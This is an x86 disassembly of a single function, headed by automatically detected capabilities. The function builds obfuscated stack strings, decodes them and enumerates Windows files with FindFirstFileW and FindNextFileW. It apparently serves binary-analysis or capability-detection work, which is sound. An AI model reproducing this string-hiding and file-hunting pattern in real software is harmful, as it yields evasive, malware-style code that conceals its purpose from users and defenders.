Function at 0x24caeaf
Capabilities:
Contain obfuscated stackstrings
Enumerate files on windows
Resolve function by parsing pe exports

Disassembly:
sub esp, 0x884
mov eax, dword [0x6400104]
xor eax, esp
mov dword [esp + 0x880], eax
mov eax, dword [esp + 0x8b4]
push ebx
push ebp
push esi
xor ebx, ebx
mov dword [esp + 0x1d4], 0x316c7748
mov esi, ebx
mov dword [esp + 0x1d8], 0x5745324f
push edi
mov dword [esp + 0x14], esi
mov dword [esp + 0x1e0], 0x5a637950
mov dword [esp + 0x1e4], 0x52635450
mov dword [esp + 0x1e8], 0x7973524f
mov dword [esp + 0x1ec], 0x6f56524e
mov dword [esp + 0x1f0], 0x51416a4d
mov dword [esp + 0x1f4], 0x33347765
mov dword [esp + 0x1f8], 0x464d484d
mov dword [esp + 0x1fc], 0x71675144
mov dword [esp + 0x200], 0x304e7a4a
mov dword [esp + 0x204], 0x4a454342
mov dword [esp + 0x208], 0x6b305448
mov dword [esp + 0x20c], 0x754e5441
mov dword [esp + 0x210], 0x5a51334a
mov dword [esp + 0x214], 0x7a306844
mov dword [esp + 0x218], 0x4367324e
mov dword [esp + 0x21c], 0x6f56674f
mov dword [esp + 0x220], 0x4a637748
mov dword [esp + 0x224], 0x5245524f
mov dword [esp + 0x228], 0x78785441
mov dword [esp + 0x22c], 0x314d4347
mov dword [esp + 0x230], 0x51596843
mov dword [esp + 0x234], 0x654d514d
mov dword [esp + 0x238], 0x2b414443
mov dword [esp + 0x23c], 0x6a554242
mov dword [esp + 0x240], 0x726b694e
mov dword [esp + 0x244], 0x5477514d
mov dword [esp + 0x248], 0x2b35534b
mov dword [esp + 0x24c], 0x6738684a
mov dword [esp + 0x250], 0x6d387745
mov dword [esp + 0x254], 0x77425249
mov dword [esp + 0x258], 0x6473544f
mov dword [esp + 0x25c], 0x49776d4d
mov dword [esp + 0x260], 0x7a49784a
mov dword [esp + 0x264], 0x46776948
mov dword [esp + 0x268], 0x6d67434c
mov dword [esp + 0x26c], 0x4e455165
mov dword [esp + 0x270], 0x734d7a45
mov dword [esp + 0x274], 0x45344441
mov dword [esp + 0x278], 0x414d544b
mov dword [esp + 0x27c], 0x46777846
mov dword [esp + 0x280], 0x4f494449
mov dword [esp + 0x284], 0x6746694b
mov dword [esp + 0x288], 0x6b596742
mov dword [esp + 0x28c], 0x725a7946
mov dword [esp + 0x290], 0x35736a45
mov dword [esp + 0x294], 0x69556950
mov dword [esp + 0x298], 0x526f5161
mov dword [esp + 0x29c], 0x4b387a49
mov dword [esp + 0x2a0], 0x75596e63
mov dword [esp + 0x2a4], 0x78566a45
mov dword [esp + 0x2a8], 0x6f594265
mov dword [esp + 0x2ac], 0x586b7850
mov dword [esp + 0x2b0], 0x63636747
mov dword [esp + 0x2b4], 0x6a305463
mov dword [esp + 0x2b8], 0x59386849
mov dword [esp + 0x2bc], 0x6a306a48
mov dword [esp + 0x2c0], 0x57386e44
mov dword [esp + 0x2c4], 0x58306947
mov dword [esp + 0x2c8], 0x394e7864
mov dword [esp + 0x2cc], 0x4a55474d
mov dword [esp + 0x2d0], 0x62495266
mov dword [esp + 0x2d4], 0x72634347
mov dword [esp + 0x2d8], 0x6930434e
mov dword [esp + 0x2dc], 0x77777947
mov dword [esp + 0x2e0], 0x386c3246
mov dword [esp + 0x2e4], 0x59736850
mov dword [esp + 0x2e8], 0x6a634264
mov dword [esp + 0x2ec], 0x446b4265
mov dword [esp + 0x2f0], 0x6655584b
mov dword [esp + 0x2f4], 0x79386949
mov dword [esp + 0x2f8], 0x51677864
lea ecx, [esp + 0x640]
mov byte [esp + 0x1c], bl
push ecx
push eax
push ebx
sub esp, 0xc
mov dword [esp + 0x314], 0x44415165
mov ecx, esp
mov dword [esp + 0x318], 0x67555242
lea eax, [esp + 0x3d3]
mov dword [esp + 0x31c], 0x65557849
mov dword [esp + 0x320], 0x73456944
push dword [esp + 0x34]
mov dword [esp + 0x328], 0x74307950
push eax
mov dword [esp + 0x330], 0x70347a45
lea eax, [esp + 0x1f8]
mov dword [esp + 0x334], 0x316f674a
mov dword [esp + 0x338], 0x6830524f
mov dword [esp + 0x33c], 0x33566a49
mov dword [esp + 0x340], 0x6e516948
mov dword [esp + 0x344], 0x62497948
mov dword [esp + 0x348], 0x5455434b
mov dword [esp + 0x34c], 0x6946684d
mov dword [esp + 0x350], 0x6b63444b
mov dword [esp + 0x354], 0x536b524d
mov dword [esp + 0x358], 0x386b6842
mov dword [esp + 0x35c], 0x636b424a
mov dword [esp + 0x360], 0x4167474e
mov dword [esp + 0x364], 0x494d4243
mov dword [esp + 0x368], 0x4d676d43
mov dword [esp + 0x36c], 0x39596948
mov dword [esp + 0x370], 0x6c31794f
mov dword [esp + 0x374], 0x6a41574b
mov dword [esp + 0x378], 0x6c674345
mov dword [esp + 0x37c], 0x4b6b334a
mov dword [esp + 0x380], 0x51594862
mov dword [esp + 0x384], 0x6d687844
mov dword [esp + 0x388], 0x41346946
mov dword [esp + 0x38c], 0x3146514f
mov dword [esp + 0x390], 0x6b6b5148
mov dword [esp + 0x394], 0x64384263
mov dword [esp + 0x398], 0x735a4246
mov dword [esp + 0x39c], 0x3374334b
mov dword [esp + 0x3a0], 0x52777948
mov dword [esp + 0x3a4], 0x34674850
mov dword [esp + 0x3a8], 0x33676743
mov dword [esp + 0x3ac], 0x78674450
mov dword [esp + 0x3b0], 0x68675347
mov dword [esp + 0x3b4], 0x4b4d7845
mov dword [esp + 0x3b8], 0x7673534f
mov dword [esp + 0x3bc], 0x4e595145
mov dword [esp + 0x3c0], 0x6d55684e
mov dword [esp + 0x3c4], 0x3377784c
mov dword [esp + 0x3c8], 0x44305246
mov dword [esp + 0x3cc], 0x63345466
mov dword [esp + 0x3d0], 0x33396e42
mov dword [esp + 0x3d4], 0x41414145
mov word [esp + 0x3d8], 0x5741
mov byte [esp + 0x3da], 0x55
push eax
mov dword [ecx], ebx
mov dword [ecx + 4], ebx
mov dword [ecx + 8], ebx
call fcn.024799be
lea eax, [esp + 0x634]
push eax
call fcn.024b8ec7
add esp, 0x10
mov ecx, eax
call fcn.02486d33
push eax
lea eax, [esp + 0x8a4]
push eax
lea eax, [esp + 0x620]
push eax
call fcn.024b2876
add esp, 0xc
push eax
lea eax, [esp + 0x618]
push eax
call fcn.024b2876
add esp, 0xc
push dword [eax]
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov ecx, dword [esp + 0x60c]
mov ebp, eax
add ecx, 0xfffffff0
call fcn.0247de5b
mov ecx, dword [esp + 0x610]
add ecx, 0xfffffff0
call fcn.0247de5b
lea ecx, [esp + 0x61c]
call fcn.0247fe92
cmp ebp, 0xffffffff
je 0x24cc154
lea eax, [esp + 0x66c]
mov dword [esp + 0x18], ebx
push eax
lea ecx, [esp + 0x1c]
call fcn.0247a86d
mov dword [esp + 0x1c], ebx
call fcn.0247d9cc
push eax
lea ecx, [esp + 0x20]
call fcn.0247a7ff
mov dword [esp + 0x3bc], 0x4b6b5162
mov dword [esp + 0x3c0], 0x4e634345
mov dword [esp + 0x3c4], 0x45636a43
mov dword [esp + 0x3c8], 0x56634766
mov dword [esp + 0x3cc], 0x65553363
mov dword [esp + 0x3d0], 0x4645434a
mov dword [esp + 0x3d4], 0x77786d50
mov dword [esp + 0x3d8], 0x736b5241
mov dword [esp + 0x3dc], 0x7a45784f
mov dword [esp + 0x3e0], 0x4477424a
mov dword [esp + 0x3e4], 0x30596a4b
mov dword [esp + 0x3e8], 0x7a526a5a
mov dword [esp + 0x3ec], 0x39494466
mov dword [esp + 0x3f0], 0x2b776965
mov dword [esp + 0x3f4], 0x69684343
mov dword [esp + 0x3f8], 0x5551794a
mov dword [esp + 0x3fc], 0x3764524d
mov dword [esp + 0x400], 0x4a416766
mov dword [esp + 0x404], 0x326b5144
mov dword [esp + 0x408], 0x6a597948
mov dword [esp + 0x40c], 0x38594249
mov dword [esp + 0x410], 0x5141534a
mov dword [esp + 0x414], 0x7134774b
mov dword [esp + 0x418], 0x3751515a
mov dword [esp + 0x41c], 0x68495445
mov dword [esp + 0x420], 0x4c595745
mov dword [esp + 0x424], 0x66555249
mov dword [esp + 0x428], 0x5730424c
mov dword [esp + 0x42c], 0x6b386a45
mov dword [esp + 0x430], 0x30385365
mov dword [esp + 0x434], 0x75556a4c
mov dword [esp + 0x438], 0x7a6c5450
mov dword [esp + 0x43c], 0x78456741
mov dword [esp + 0x440], 0x4738784c
mov dword [esp + 0x444], 0x684e5249
mov dword [esp + 0x448], 0x3173584b
mov dword [esp + 0x44c], 0x6c4d784a
mov dword [esp + 0x450], 0x38777749
mov dword [esp + 0x454], 0x43596a4e
mov dword [esp + 0x458], 0x714d4466
mov dword [esp + 0x45c], 0x57456847
mov dword [esp + 0x460], 0x49496945
mov dword [esp + 0x464], 0x54736848
mov dword [esp + 0x468], 0x4b51474a
mov dword [esp + 0x46c], 0x65516841
mov dword [esp + 0x470], 0x65514163
mov dword [esp + 0x474], 0x6b6f5447
mov dword [esp + 0x478], 0x6930774a
mov dword [esp + 0x47c], 0x78465850
mov dword [esp + 0x480], 0x3141674f
mov dword [esp + 0x484], 0x6b456964
mov dword [esp + 0x488], 0x706b7a4f
mov dword [esp + 0x48c], 0x5a6b6849
mov dword [esp + 0x490], 0x4f4d4765
mov dword [esp + 0x494], 0x66636745
mov dword [esp + 0x498], 0x4d51774f
mov dword [esp + 0x49c], 0x68387961
mov dword [esp + 0x4a0], 0x69565150
mov dword [esp + 0x4a4], 0x75557a50
mov dword [esp + 0x4a8], 0x68497841
mov dword [esp + 0x4ac], 0x79523345
mov dword [esp + 0x4b0], 0x6c674459
mov dword [esp + 0x4b4], 0x4e516747
mov dword [esp + 0x4b8], 0x7a4d7848
mov dword [esp + 0x4bc], 0x7464794a
mov dword [esp + 0x4c0], 0x584d6763
mov dword [esp + 0x4c4], 0x5077444c
mov dword [esp + 0x4c8], 0x69637747
mov dword [esp + 0x4cc], 0x6a633362
mov dword [esp + 0x4d0], 0x71457941
mov dword [esp + 0x4d4], 0x6167474d
or esi, 1
mov dword [esp + 0x4d8], 0x676b4461
push ebx
mov dword [esp + 0x4e0], 0x736b514a
sub esp, 0xc
mov dword [esp + 0x4f0], 0x41556d65
mov dword [esp + 0x4f4], 0x664d7a4c
mov dword [esp + 0x4f8], 0x70634441
mov dword [esp + 0x4fc], 0x5177674b
mov dword [esp + 0x500], 0x49735265
mov dword [esp + 0x504], 0x31684148
mov dword [esp + 0x508], 0x35514350
mov dword [esp + 0x50c], 0x45636946
mov dword [esp + 0x510], 0x3152674e
mov dword [esp + 0x514], 0x466f6a4f
mov dword [esp + 0x518], 0x376f4444
mov dword [esp + 0x51c], 0x6c495164
mov dword [esp + 0x520], 0x50556844
mov dword [esp + 0x524], 0x6545444e
mov dword [esp + 0x528], 0x43305842
mov dword [esp + 0x52c], 0x54634244
mov dword [esp + 0x530], 0x41345342
mov dword [esp + 0x534], 0x54734163
mov dword [esp + 0x538], 0x73636850
mov dword [esp + 0x53c], 0x2f597850
mov dword [esp + 0x540], 0x626b7848
mov dword [esp + 0x544], 0x77675345
mov dword [esp + 0x548], 0x65346841
mov dword [esp + 0x54c], 0x6b49444a
mov dword [esp + 0x550], 0x72465165
mov dword [esp + 0x554], 0x6f414462
mov dword [esp + 0x558], 0x634d5141
mov dword [esp + 0x55c], 0x55305264
mov dword [esp + 0x560], 0x47736a4d
mov dword [esp + 0x564], 0x476f784e
mov dword [esp + 0x568], 0x36414363
mov dword [esp + 0x56c], 0x6d4e5341
mov dword [esp + 0x570], 0x7045544e
mov dword [esp + 0x574], 0x35746a64
mov dword [esp + 0x578], 0x446f7a49
mov dword [esp + 0x57c], 0x7a52334b
mov dword [esp + 0x580], 0x594d4866
mov dword [esp + 0x584], 0x4b63794e
mov dword [esp + 0x588], 0x4e514747
mov dword [esp + 0x58c], 0x48386843
mov dword [esp + 0x590], 0x714d444d
mov dword [esp + 0x594], 0x6834694c
mov dword [esp + 0x598], 0x4f6f7a46
mov dword [esp + 0x59c], 0x68674348
mov dword [esp + 0x5a0], 0x34595149
mov dword [esp + 0x5a4], 0x56306747
mov dword [esp + 0x5a8], 0x6d686a45
mov dword [esp + 0x5ac], 0x53346745
mov dword [esp + 0x5b0], 0x2b4e7741
mov dword [esp + 0x5b4], 0x3777544b
mov dword [esp + 0x5b8], 0x70735250
mov dword [esp + 0x5bc], 0x78635141
mov dword [esp + 0x5c0], 0x4a594144
mov dword [esp + 0x5c4], 0x67387a4c
mov dword [esp + 0x5c8], 0x71745849
mov dword [esp + 0x5cc], 0x70456962
mov dword [esp + 0x5d0], 0x32346a65
mov dword [esp + 0x5d4], 0x78396746
mov dword [esp + 0x5d8], 0x4e634159
mov dword [esp + 0x5dc], 0x36527965
mov dword [esp + 0x5e0], 0x49455341
mov dword [esp + 0x5e4], 0x4e6b5164
mov dword [esp + 0x5e8], 0x6f344446
mov dword [esp + 0x5ec], 0x38744346
mov dword [esp + 0x5f0], 0x6f737a47
mov dword [esp + 0x5f4], 0x6c774244
mov dword [esp + 0x5f8], 0x32387849
mov dword [esp + 0x5fc], 0x4c6b434d
mov dword [esp + 0x600], 0x4a6b6a46
mov dword [esp + 0x604], 0x39563241
mov dword [esp + 0x608], 0x714a6845
mov dword [esp + 0x60c], 0x6e67414a
mov dword [esp + 0x610], 0x4a6f4464
mov dword [esp + 0x614], 0x42414141
mov word [esp + 0x618], 0x5174
mov dword [esp + 0x24], esi
mov ecx, esp
mov byte [esp + 0x624], bl
push dword [esp + 0x624]
lea eax, [esp + 0x61e]
push eax
lea eax, [esp + 0x3d4]
mov dword [ecx], ebx
push eax
mov dword [ecx + 4], ebx
mov dword [ecx + 8], ebx
call fcn.024799be
lea eax, [esp + 0x644]
push eax
call fcn.024b8ec7
add esp, 0x10
mov ecx, eax
call fcn.02486d33
push eax
lea ecx, [esp + 0x1c]
call fcn.024b7d21
test eax, eax
je 0x24cc076
mov dword [esp + 0x20], 0x32735762
mov dword [esp + 0x24], 0x4649414b
mov dword [esp + 0x28], 0x7a4d4365
mov dword [esp + 0x2c], 0x70513244
mov dword [esp + 0x30], 0x37636a47
mov dword [esp + 0x34], 0x31516949
mov dword [esp + 0x38], 0x4d34444a
mov dword [esp + 0x3c], 0x74775345
mov dword [esp + 0x40], 0x49775446
mov dword [esp + 0x44], 0x6b304250
mov dword [esp + 0x48], 0x4a774243
mov dword [esp + 0x4c], 0x4e674247
mov dword [esp + 0x50], 0x38384442
mov dword [esp + 0x54], 0x4a734250
mov dword [esp + 0x58], 0x6d6b4441
mov dword [esp + 0x5c], 0x66383264
mov dword [esp + 0x60], 0x35454344
mov dword [esp + 0x64], 0x74637744
mov dword [esp + 0x68], 0x7a566e61
mov dword [esp + 0x6c], 0x45676849
mov dword [esp + 0x70], 0x53596e4f
mov dword [esp + 0x74], 0x714d5161
mov dword [esp + 0x78], 0x78773365
mov dword [esp + 0x7c], 0x72567a47
mov dword [esp + 0x80], 0x74425146
mov dword [esp + 0x84], 0x7849694c
mov dword [esp + 0x88], 0x6d737863
mov dword [esp + 0x8c], 0x3149434a
mov dword [esp + 0x90], 0x63347a50
mov dword [esp + 0x94], 0x2f4e424d
mov dword [esp + 0x98], 0x4f775164
mov dword [esp + 0x9c], 0x71647a43
mov dword [esp + 0xa0], 0x4b555343
mov dword [esp + 0xa4], 0x30426d41
mov dword [esp + 0xa8], 0x66345147
mov dword [esp + 0xac], 0x754a694a
mov dword [esp + 0xb0], 0x4f347a4e
mov dword [esp + 0xb4], 0x695a7745
mov dword [esp + 0xb8], 0x58634345
mov dword [esp + 0xbc], 0x6567694f
mov dword [esp + 0xc0], 0x48677947
mov dword [esp + 0xc4], 0x59494246
mov dword [esp + 0xc8], 0x496b684a
mov dword [esp + 0xcc], 0x5549424d
mov dword [esp + 0xd0], 0x5a457a47
mov dword [esp + 0xd4], 0x41735263
mov dword [esp + 0xd8], 0x36645449
mov dword [esp + 0xdc], 0x44677945
mov dword [esp + 0xe0], 0x5a634848
mov dword [esp + 0xe4], 0x716c4841
mov dword [esp + 0xe8], 0x32683247
mov dword [esp + 0xec], 0x32737a59
mov dword [esp + 0xf0], 0x6b4e5746
mov dword [esp + 0xf4], 0x5363524b
mov dword [esp + 0xf8], 0x644d4364
mov dword [esp + 0xfc], 0x50677845
mov dword [esp + 0x100], 0x796b5144
mov dword [esp + 0x104], 0x53304842
mov dword [esp + 0x108], 0x7877784e
mov dword [esp + 0x10c], 0x666b7966
mov dword [esp + 0x110], 0x5730674c
mov dword [esp + 0x114], 0x7249325a
mov dword [esp + 0x118], 0x6b414347
mov dword [esp + 0x11c], 0x4d494349
mov dword [esp + 0x120], 0x626b7a4a
mov dword [esp + 0x124], 0x694d4365
mov dword [esp + 0x128], 0x6c637a4c
mov dword [esp + 0x12c], 0x41773349
mov dword [esp + 0x130], 0x4e457850
mov dword [esp + 0x134], 0x514d7a44
mov dword [esp + 0x138], 0x68415442
mov dword [esp + 0x13c], 0x3963544b
mov dword [esp + 0x140], 0x59496d48
mov dword [esp + 0x144], 0x2b385465
mov dword [esp + 0x148], 0x62553345
mov dword [esp + 0x14c], 0x46416846
mov dword [esp + 0x150], 0x4a6f5141
mov dword [esp + 0x154], 0x76356a43
mov dword [esp + 0x158], 0x76736d43
mov dword [esp + 0x15c], 0x55594344
mov dword [esp + 0x160], 0x7077534a
push ebx
sub esp, 0xc
mov byte [esp + 0x628], bl
mov ecx, esp
mov dword [esp + 0x174], 0x656f7850
lea eax, [esp + 0x1e6]
mov dword [esp + 0x178], 0x2f514148
mov dword [esp + 0x17c], 0x74386a66
or esi, 2
push dword [esp + 0x628]
mov dword [esp + 0x184], 0x51557744
push eax
mov dword [esp + 0x18c], 0x6f387a47
lea eax, [esp + 0x38]
mov dword [esp + 0x190], 0x4130684e
mov dword [esp + 0x194], 0x39494850
mov dword [esp + 0x198], 0x32704144
mov dword [esp + 0x19c], 0x58496e4c
mov dword [esp + 0x1a0], 0x7530484e
mov dword [esp + 0x1a4], 0x2b785242
mov dword [esp + 0x1a8], 0x666b4743
mov dword [esp + 0x1ac], 0x546f524d
mov dword [esp + 0x1b0], 0x4b345163
mov dword [esp + 0x1b4], 0x76397a4e
mov dword [esp + 0x1b8], 0x65386863
mov dword [esp + 0x1bc], 0x65775465
mov dword [esp + 0x1c0], 0x706b5362
mov dword [esp + 0x1c4], 0x46495350
mov dword [esp + 0x1c8], 0x33524464
mov dword [esp + 0x1cc], 0x2f5a5741
mov dword [esp + 0x1d0], 0x54516942
mov dword [esp + 0x1d4], 0x7a6f5244
mov dword [esp + 0x1d8], 0x2f307965
mov dword [esp + 0x1dc], 0x44634241
mov dword [esp + 0x1e0], 0x676b6a63
mov dword [esp + 0x1e4], 0x3145444f
mov dword [esp + 0x1e8], 0x42414141
mov word [esp + 0x1ec], 0x6751
push eax
mov dword [esp + 0x30], esi
mov dword [ecx], ebx
mov dword [ecx + 4], ebx
mov dword [ecx + 8], ebx
call fcn.024799be
lea eax, [esp + 0x638]
push eax
call fcn.024b8ec7
add esp, 0x10
mov ecx, eax
call fcn.02486d33
push eax
lea ecx, [esp + 0x1c]
call fcn.024b7d21
mov byte [esp + 0x13], 1
test eax, eax
jne 0x24cc07a
mov byte [esp + 0x13], bl
mov eax, dword [esp + 0x14]
test al, 2
je 0x24cc099
and eax, 0xfffffffd
lea ecx, [esp + 0x628]
mov dword [esp + 0x14], eax
call fcn.0247fe92
mov eax, dword [esp + 0x14]
test al, 1
je 0x24cc0b0
and eax, 0xfffffffe
lea ecx, [esp + 0x634]
mov dword [esp + 0x14], eax
call fcn.0247fe92
cmp byte [esp + 0x13], bl
je 0x24cc0f6
lea eax, [esp + 0x66c]
push eax
push dword [esp + 0x89c]
lea ecx, [esp + 0x24]
call fcn.024b7cd6
mov esi, dword [esp + 0x1c]
push ecx
mov edi, esp
lea eax, [esi - 0x10]
push eax
call fcn.024b7c0a
pop ecx
add eax, 0x10
lea ecx, [esp + 0x8a0]
mov dword [edi], eax
call fcn.024b298d
test eax, eax
je 0x24cc140
jmp 0x24cc0fa
mov esi, dword [esp + 0x1c]
lea eax, [esp + 0x640]
push eax
push ebp
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
je 0x24cc12a
lea ecx, [esi - 0x10]
call fcn.0247de5b
mov ecx, dword [esp + 0x18]
lea ecx, [ecx - 0x10]
call fcn.0247de5b
mov esi, dword [esp + 0x14]
jmp 0x24cb4c2
push ebp
call dword [sym.imp.KERNEL32.dll_FindClose]
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x12
push 1
pop eax
cmovne ebx, eax
lea ecx, [esi - 0x10]
call fcn.0247de5b
mov ecx, dword [esp + 0x18]
lea ecx, [ecx - 0x10]
call fcn.0247de5b
mov ecx, dword [esp + 0x898]
add ecx, 0xfffffff0
call fcn.0247de5b
lea ecx, [esp + 0x89c]
call fcn.0253d0ea
mov ecx, dword [esp + 0x890]
mov eax, ebx
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.02585cf8
add esp, 0x884
ret